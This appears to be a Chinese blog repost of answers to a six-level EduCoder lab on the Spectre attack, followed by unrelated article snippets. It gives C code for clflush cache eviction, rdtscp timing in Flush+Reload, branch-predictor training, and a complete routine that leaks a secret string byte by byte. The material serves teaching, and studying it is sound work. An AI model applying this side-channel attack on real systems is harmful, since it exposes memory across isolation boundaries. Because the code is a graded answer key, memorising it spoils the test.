头歌-信息安全技术-Spectre侧信道攻击过程验证

news2024/12/24 21:42:57

头歌-信息安全技术-Spectre侧信道攻击过程验证

  • 一、第1关:Cache vs Memory
    • 1、编程要求
    • 2、评测代码
  • 二、第2关:基于Flush+Reload的侧信道实现
    • 1、编程要求
    • 2、评测代码
  • 三、第3关:Spectre预测执行
    • 1、编程要求
    • 2、评测代码
  • 四、第4关:Spectre攻击简单实验
    • 1、编程要求
    • 2、评测代码
  • 五、第5关:Spectre攻击实验改进
    • 1、编程要求
    • 2、评测代码
  • 六、第6关:Spectre攻击窃取敏感信息实战
    • 1、编程要求
    • 2、评测代码

一、第1关:Cache vs Memory

1、编程要求

根据提示,在右侧编辑器完善代码,完成数据初始化、缓存驱逐、缓存加载、时延测定等全部环节,输出对array[10*4096]数组中各元素的访问时延。

2、评测代码

在这里插入图片描述

  for(i=0; i<10; i++) 
  	_mm_clflush(&array[i*4096]);

二、第2关:基于Flush+Reload的侧信道实现

1、编程要求

根据提示,在右侧编辑器补充代码,完成基于Flush+Reload的侧信道攻击实现,按要求打印攻击结果。

2、评测代码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

//该实验中,假设用户没有Secret的访问权限,不能直接读取Secret的值,可以通过测时延来获取其内容。

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

FILE *fp;
uint8_t array[256*4096];
int temp;
unsigned char secret = 66;

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据上一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (250)

#define DELTA 1024

void victim()
{
  temp = array[secret*4096 + DELTA];
}

void flushSideChannel()
{
  int i;
  // 初始化该数组,防止Copy-on-Write导致实验失败
  for (i = 0; i < 256; i++) 
    array[i*4096 + DELTA] = 1;
  // 驱逐缓存Cache,请在下方补充代码,将array[0*4096+DELTA]至array[255*4096+DELTA]等数据从缓存中强制驱逐
  /**************************************/
  for (i = 0; i < 256; i++) 
    _mm_clflush(&array[i*4096 + DELTA]);
  /**************************************/
}

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  unsigned int ui;
  //请补全并下方代码,获得i*4096 + DELTA位置元素的访问时延,并将小于门限的访问行为判定为缓存命中,按照指定格式输出结果。
  /*******************/
  for(i = 0; i < 256; i++){  
   addr = &array[i*4096 + DELTA];
   time1 = __rdtscp(&ui);   
   junk = *addr;
   time2 = __rdtscp(&ui) - time1;
   if ((int)time2 <= CACHE_HIT_THRESHOLD){
	  printf("访问array[%d*4096 + %d]元素时发生缓存命中,时延%d.\n", i, DELTA, (int)time2);
      printf("秘密值Secret = %d(字符:\'%c\')。\n", i, i);
      fprintf(fp,"秘密值Secret = %d(字符:\'%c\')。\n" ,i, i); //不要修改本行代码
   }
  } 
  /******************/ 
  
}

int main(int argc, const char **argv)
{
  fp=fopen("Spectre-Attack/ans/T2/result.txt","w");

  flushSideChannel();
  victim();
  reloadSideChannel();
  fclose(fp);
  return (0);
}

三、第3关:Spectre预测执行

1、编程要求

根据提示,在右侧编辑器补充代码,完成对CPU分支预测的训练、边界外数据(即索引大于size的数组元素)向高速缓存的加载,并利用FLUSH+RELOAD侧信道来验证目标数据是否已加载。
考虑到利用Sepctre漏洞时,因为系统噪声(即其他系统进程对CPU的占用、对缓存的占用等)的影响,某些时候分支的预测不会按照我们的期望执行,因此,本任务中将重复10次实验,查看缓存命中结果。

2、评测代码

在这里插入图片描述
在这里插入图片描述

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
 #define CACHE_HIT_THRESHOLD (300)
    // 请补全下方代码并取消注释,①将victim()函数中分支判断需要的数据'size'从缓存中驱逐,以在后续调用中触发预测执行;②将array数组中i*4096+DELTA处的数据从缓存中驱逐,以便后续reload阶段判断目标数据是否被加载。
    /*******************************************/
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i* 4096 + DELTA]); 
    /********************************************/

四、第4关:Spectre攻击简单实验

1、编程要求

根据提示,在右侧编辑器补充代码,完成CPU分支预测的训练、边界外内存数据的缓存加载,并利用高速缓存侧信道提取目标地址的敏感信息值。

2、评测代码

在这里插入图片描述
在这里插入图片描述

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (300)
  // 补全下方代码,将上界、下界以及array的数据从缓存中驱逐。
  /***********************************************************/
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower);
  for (i = 0; i < 256; i++){
        _mm_clflush(&array[i*4096 + DELTA]); 
  }
  /***********************************************************/

五、第5关:Spectre攻击实验改进

1、编程要求

根据提示,在右侧编辑器补充代码,完成准确的敏感字符提取(本关仅要求恢复处secret的第一个字符)。

2、评测代码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
  //补全下方代码,当每次字符i被命中一次,对应的积分+1
  /*************************************/
  for (i = 0; i < 256; i++) {
    addr = &array[i * 4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD)
      scores[i]++; 
  } 
  /*************************************/
  // 补全下方代码,从scores数组中找到最大值,并将其索引值赋值给max
  /*************************************/
  for (i = 0; i < 256; i++){
    if(scores[max] < scores[i]) max = i;
  }
  /*************************************/

六、第6关:Spectre攻击窃取敏感信息实战

1、编程要求

根据提示,在右侧编辑器补充代码,完善各函数代码,最终输出指定格式的敏感信息窃取结果。

2、评测代码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include "encipher.h"

extern unsigned int bound_lower;
extern unsigned int bound_upper;

uint8_t temp    = 0;
  
uint8_t array[256*4096];

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)

#define DELTA 2048
static int scores[256];
FILE *fp;

void flushSideChannel()
{
  //补全下方代码,初始化array数组,并将所有相关数据从缓存中驱逐
  /*************************************/
  int i;
  for(i=0;i<256;i++){
    array[i*4096+DELTA]=1;
  }
  for(i=0;i<256;i++){
    _mm_clflush(&array[i*4096+DELTA]);
  }
  /*************************************/
}

void reloadSideChannelImproved()
{
  //补全下方代码,完成高速缓存侧信道的Reload步骤,根据缓存命中情况,更新score数组
  /*************************************/
  int i;
  volatile uint8_t *addr;
  register uint64_t time1, time2;
  int junk = 0;
  for (i = 0; i < 256; i++) {
    addr = &array[i * 4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD){
      scores[i]++; 
    }
  } 
  /*************************************/
}

void spectreAttack(size_t index_beyond)
{
  //补全下方代码,针对指定的内存位置,开展Spectre攻击,包括缓存清空、CPU训练、缓存驱逐、预测执行和缓存加载等环节
  /*************************************/
  int i;
  uint8_t s;
  volatile int z;
  for (i = 0; i < 256; i++)  { 
    _mm_clflush(&array[i*4096 + DELTA]); 
  }
  // 训练CPU,使其在攻击时进入期望的预测分支.
  for (i = 0; i < 10; i++) {
    get_info_sand_box(i);
  }
  // 将上界、下界以及array的数据从缓存中驱逐。
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower); 
  for (i = 0; i < 256; i++){ 
    _mm_clflush(&array[i*4096 + DELTA]); 
    }
  for (z = 0; z < 100; z++)  {  }
  // 调用沙箱访问函数,利用预测执行漏洞访问合法内存边界之外的秘密值
  s = get_info_sand_box(index_beyond);
  if(s!=0)
    array[s*4096 + DELTA] += 88;
  /*************************************/
}

int main() {
  //补全下方代码,针对敏感信息secret的每个字节,逐个进行提取,每个字节的提取操作执行1000次,并按照指定格式输出提取结果及其积分值(可以包括最优值与次优值,即score最大的值和第二大的值的索引)。
  //打印示例:printf("第%d个秘密字符的最优值 \'%c\' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);
  /*************************************/
  int i;
  uint8_t s;
  fp=fopen("/home/result.txt","w");
  size_t index_beyond = get_addr_offset();
  flushSideChannel();
  int len = get_secret_len();
  int k = 0;
  while(--len>=0){
    for(i=0;i<256; i++){
      scores[i]=0; 
    }
    for (i = 0; i < 1000; i++) {
            spectreAttack(index_beyond+k);
            usleep(10);
            reloadSideChannelImproved();
    }
    int max = 0; 
    int runner_up = 0; 
    for (i = 0; i < 256; i++){
    // printf("%d ", scores[i]);
      if(scores[max] < scores[i]) {
          max = i;
      }
    }
    for (i = 0; i < 256; i++){
      if(scores[runner_up] < scores[i] && i!=max) {
        runner_up = i;
      }
    }
    printf("第%d个秘密字符的最优值 '%c' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);
    printf("次优值 '%c' (ASCII: %d) 积分:[%d]\n", (runner_up > 31 && runner_up < 127 ? runner_up : '?'), runner_up, scores[runner_up] );
    fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));
    k++;
  }
  /*************************************/
  return (0); 
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2317.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Unity】关于升级到2021.3.12之后URP编译错误的问题

前几天&#xff0c;我一时兴起&#xff0c;把Unity从2021.3.11 LTS 升级到 2021.3.12 LTS&#xff0c;本来以为不会有啥区别&#xff0c;然后意想不到的是&#xff0c;居然出现了编译错误&#xff1a; 我一开始以为这个就是我的工程设置有问题&#xff0c;然后我就就新…

前端面试之Vue专题

目录 前言 MVVM模式 Vue的响应式原理 路由守卫 前言 网上有许多前端八股文&#xff0c;但是缺少便于理解的说明和案例&#xff0c;需要自行查阅资料。这篇文章我就按照面试的高频题来记录自己的理解和实操。 MVVM模式 一、三者含义 M是Model&#xff0c;数据模型&#xf…

非项目活动的时间怎么跟踪?

会计、审计、合规和专业服务企业通常需要跟踪花费在项目和非项目上的时间以进行报告。员工可以使用8Manage工时表这样的工具来获取与项目和非项目任务相关的工作时间&#xff0c;并记录管理时间。 非项目时间类别确定在项目工作之外发生的不同类型的活动。你可以在工时表解决方…

【网络篇】第六篇——网络套接字编程(二)(UDP详解)

基于UDP协议的套接字程序 服务端 服务端创建套接字 服务的绑定 字符串IP VS 整数IP 运行服务器 客户端 客户端创建套接字 客户端绑定 启动客户端 本地测试 INADDR_ANY 简易的回声服务器 网络测试 基于UDP协议的套接字程序 服务端 服务端创建套接字 我们把服务…

重学Android基础系列篇(三):架构动态编程技术原理

前言 本系列文章主要是汇总了一下大佬们的技术文章&#xff0c;属于Android基础部分&#xff0c;作为一名合格的安卓开发工程师&#xff0c;咱们肯定要熟练掌握java和android&#xff0c;本期就来说说这些~ [非商业用途,如有侵权,请告知我,我会删除] DD一下&#xff1a; And…

基于形状的匹配提纲

关键&#xff1a;形状&#xff0c;其实就是canny找出来的线条集合 1&#xff0c;canny线条 2&#xff0c;模板的线条&#xff08;基于canny&#xff09; 3&#xff0c;高斯金字塔&#xff0c;加速高斯法 4&#xff0c;没有旋转和尺度时&#xff0c;匹配一个有得分的结果&am…

Linux-vim使用

目录 基本vim的基本操作&#xff1a; 命令模式&#xff1a; 光标定位&#xff1a; $&#xff1a;光标定位到行右&#xff1a; ^&#xff1a;光标定位到左&#xff1a; shiftgG&#xff1a;光标定位到底部 gg&#xff1a;回到顶部 nshiftg表示跳转光标到第n行 文本复制相关…

输入学生的信息学号、姓名、语文成绩、数学成绩、英语成绩,计算总分、并按总分成绩排序,再写到另一个txt文件中(python)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 题目&#xff1a; 代码&#xff1a; 1.提前写入标题栏&#xff08;学号、姓名、语文、数学、英语、总分&#xff09; 2.再写入学生的信息 3.读取score2.txt文件 4.…

机器学习西瓜书学习记录-第五章 神经网络

第5章 神经网络 5.1神经元模型 神经网络中最基本的成分是神经元模型。 “M-P神经元模型”&#xff0c;又称“阈值逻辑单元” 在模型中&#xff0c;神经元接收到来自n个其他神经元传递过来的输入信号&#xff0c;这些输入信号通过带权重的连接进行传递&#xff0c;神经元接收到…

分分钟让你学会栈和队列

数据结构——栈和队列 &#x1f3d6;️专题&#xff1a;数据结构 &#x1f648;作者&#xff1a;暴躁小程序猿 ⛺简介&#xff1a;双非本科大二小菜鸟一枚&#xff0c;希望我的博客可以对大家有所帮助 文章目录数据结构——栈和队列前言一、什么是栈&#xff1f;二、栈的相关概…

计算机毕设(附源码)JAVA-SSM蓟县农家乐网站

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

算法竞赛进阶指南 搜索 0x26 广搜变形

双端队列BFS 在最基本的广度优先搜索中&#xff0c;每次沿着分支的扩展都记为“一步”&#xff0c;我们通过逐层搜索&#xff0c;解决了求从起始状态到每个状态的最少步数的问题。这其实等价于在一张边权均为1的图上执行广度优先遍历&#xff0c;求出每个点相对于起点的最短距…

程序员的数学好难学?一切从基础开始!

数学知识对编程很有用&#xff0c;但是很多写给程序员的数学书都比较难。我们为什么不从基础的数学知识开始学习呢&#xff1f; 程序员的数学基础 Python实战 1.本书的重点不在于如何解题&#xff0c;而在于帮助读者在计算机世界里如何利用数学解决算法问题&#xff0c;让程序…

WinForm应用实战开发指南 - 教你如何实现表头的全选操作?

WinForms分页控件&#xff0c;在很多场合都需要用到&#xff0c;由于整合较多的功能操作&#xff0c;使用起来效果更好&#xff0c;界面统一性也比较一致。其中的勾选操作&#xff0c;在有些场合下&#xff0c;也是比较有用的&#xff0c;因此提供该功能的整合。 PS&#xff1…

基于改进神经网络的风电功率预测(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️❤️&#x1f4a5;&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑…

【K8S系列】Kubernetes 之kubectl 常用命令汇总

目录 一、kubetcl简单介绍 二、命令介绍 详细介绍&#xff1a; 三、部分命令详细介绍 3.1 create 3.2 get 3.3 describe 3.4 rolling-update 3.5 exec 3.6 log kubectl 是 Kubernetes 自带的客户端&#xff0c;可以用它来直接操作 Kubernetes 集群。 日常在使用 Kuber…

Swift 周报 第十六期

前言 本期是 Swift 编辑组自主整理周报的第七期&#xff0c;每个模块已初步成型。各位读者如果有好的提议&#xff0c;欢迎在文末留言。 欢迎投稿或推荐内容。目前计划每两周周一发布&#xff0c;欢迎志同道合的朋友一起加入周报整理。 当你来到双水村以外的大世界&#xff…

操作系统实验二死锁避免之银行家算法的模拟

文章目录 死锁 &#xff08;1&#xff09;定义 &#xff08;2&#xff09;死锁产生的原因 &#xff08;3&#xff09;死锁产生的必要条件 &#xff08;4&#xff09;死锁的处理策略 银行家算法 &#xff08;1&#xff09;核心思想 &#xff08;2&#xff09;数据结构 &#x…

2.2 Pycharm 的使用

文章目录1. PyCharm 安装2. Python 项目3. 外貌设置4. 配色方案5. 字体大小6. 自动换行7. 汉化8. 翻译插件9. 添加多个解释器10. Pycharm 常用快捷键11. 自定义文件模板内容12. 前端代码运行浏览器13. 关闭 with open 提示14. 双击shift查找15. 导出配置导入配置1. PyCharm 安装…

Gwas实战分析3_群体结构增加

1.sh plink 格式转化 plink1.map/plink1.ped ------plink2.bim/fam/bed plink --file 1001genomes_snps_only_ACGTN1 --make-bed --out plink2 2.sh 群体结构分析 时间过久&#xff1a; for K in 2 3 4 5 6 7 8 9 10; do admixture --cv plink2.bed K∣teeadmixtrueK | tee…